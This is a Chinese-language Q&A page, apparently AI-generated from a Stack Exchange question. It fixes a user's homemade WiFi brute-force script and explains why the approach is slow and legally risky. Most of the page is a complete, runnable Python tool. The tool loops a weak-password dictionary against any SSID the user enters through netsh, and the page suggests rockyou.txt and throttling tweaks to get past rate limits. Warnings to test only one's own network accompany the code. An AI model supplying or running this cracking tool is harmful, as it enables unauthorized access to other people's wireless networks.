You need to enable JavaScript to run this app.
最新活动
大模型
产品
解决方案
定价
生态与合作
支持与服务
开发者
了解我们

自制无Hashcat依赖WiFi暴力破解工具的理论可行性咨询及代码错误排查

WiFi暴力破解工具:可行性分析与代码修复

一、先解决你遇到的代码错误

你碰到的password isn't defined问题其实很直观——在password = random.choices(chars_list, k=(len(password)))这行里,你想获取password的长度,但这时候password还完全没被定义过,程序根本不知道它是什么,属于典型的变量未初始化错误。

除了这个,你的代码还有几个逻辑漏洞:

  • 循环条件while name != "Example name that no wifi will probably be"完全不合理,应该是持续尝试密码直到连接成功才停止
  • 随机生成密码的效率极低,暴力破解通常优先用常用密码字典或者按字符顺序遍历,随机猜中密码的概率几乎可以忽略
  • 你写的if (password == list(password))完全多余,因为random.choices返回的本身就是列表,这行判断永远为真
  • 传递给createNewConnectionpassword是列表,但XML配置里需要字符串,运行时会直接报错

二、方案的理论可行性分析

理论上,这种通过系统命令尝试连接WiFi的暴力破解思路是可行的,但有几个关键限制必须清楚:

  • 效率极低:如果目标WiFi用的是WPA2/WPA3加密,密码长度在8位以上,纯暴力遍历所有字符组合的时间可能长达几年甚至更久,只有密码是简单弱密码时才有机会成功
  • 系统限制:Windows的netsh wlan命令在频繁尝试连接时可能会被系统限流,而且每次添加配置、尝试连接的流程本身就很慢
  • 合法性红线未经允许破解他人WiFi是绝对的违法违规行为,会违反《网络安全法》等相关法律,严重的要承担刑事责任,只能在自己拥有完全权限的WiFi上做测试!

三、修正后的参考代码(仅用于合法测试)

下面是修复了错误、优化了逻辑的代码,改用常用弱密码字典来尝试(比随机生成高效得多):

import os
import subprocess
import time

def create_new_connection(profile_name, ssid, password):
    # 生成适配WPA2-PSK的WLAN配置XML
    config = f"""<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>{profile_name}</name>
    <SSIDConfig>
        <SSID>
            <name>{ssid}</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>{password}</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>"""
    # 临时保存XML配置文件
    xml_path = f"{profile_name}.xml"
    with open(xml_path, 'w', encoding='utf-8') as f:
        f.write(config)
    # 添加WiFi配置到系统
    subprocess.run(f"netsh wlan add profile filename=\"{xml_path}\" interface=Wi-Fi", 
                   shell=True, capture_output=True)
    # 删除临时XML文件,避免堆积
    os.remove(xml_path)

def connect_to_wifi(profile_name, ssid):
    # 尝试连接目标WiFi
    result = subprocess.run(f"netsh wlan connect name=\"{profile_name}\" ssid=\"{ssid}\" interface=Wi-Fi", 
                           shell=True, capture_output=True, text=True)
    # 判断连接是否成功
    if "successfully" in result.stdout.lower():
        return True
    else:
        # 删除失败的配置文件,清理系统缓存
        subprocess.run(f"netsh wlan delete profile name=\"{profile_name}\" interface=Wi-Fi", 
                       shell=True, capture_output=True)
        return False

def display_available_networks():
    # 列出当前可用的WiFi网络
    subprocess.run("netsh wlan show networks interface=Wi-Fi", shell=True)

if __name__ == "__main__":
    # 先展示可用WiFi
    display_available_networks()
    
    target_ssid = input("输入目标WiFi名称:").strip()
    # 常用弱密码字典(可以自行扩展或替换为专业字典文件)
    password_dict = [
        "12345678", "123456789", "123456", "password", "11111111",
        "admin123", "1234567", "qwerty", "abc123", "1234"
    ]
    
    print(f"\n开始尝试破解WiFi:{target_ssid}")
    for idx, password in enumerate(password_dict, 1):
        print(f"正在尝试第{idx}个密码:{password}")
        profile_name = f"temp_{target_ssid}_{idx}"
        create_new_connection(profile_name, target_ssid, password)
        if connect_to_wifi(profile_name, target_ssid):
            print(f"✅ 破解成功!密码是:{password}")
            break
        # 增加短时间间隔,避免被系统限流
        time.sleep(1)
    else:
        print(f"❌ 字典中的密码全部尝试失败,请更换密码字典或检查目标WiFi")

四、额外提醒

  1. 再次强调:这个代码仅适合测试自己的WiFi,严禁用于未经授权的网络
  2. 如果想要更高效率,可以把密码字典换成专业的字典文件(比如rockyou.txt),通过读取文件逐行尝试密码
  3. 若遇到系统频繁拒绝连接的情况,可以适当延长time.sleep()的间隔时间

内容的提问来源于stack exchange,提问作者n0trad3an

火山引擎 最新活动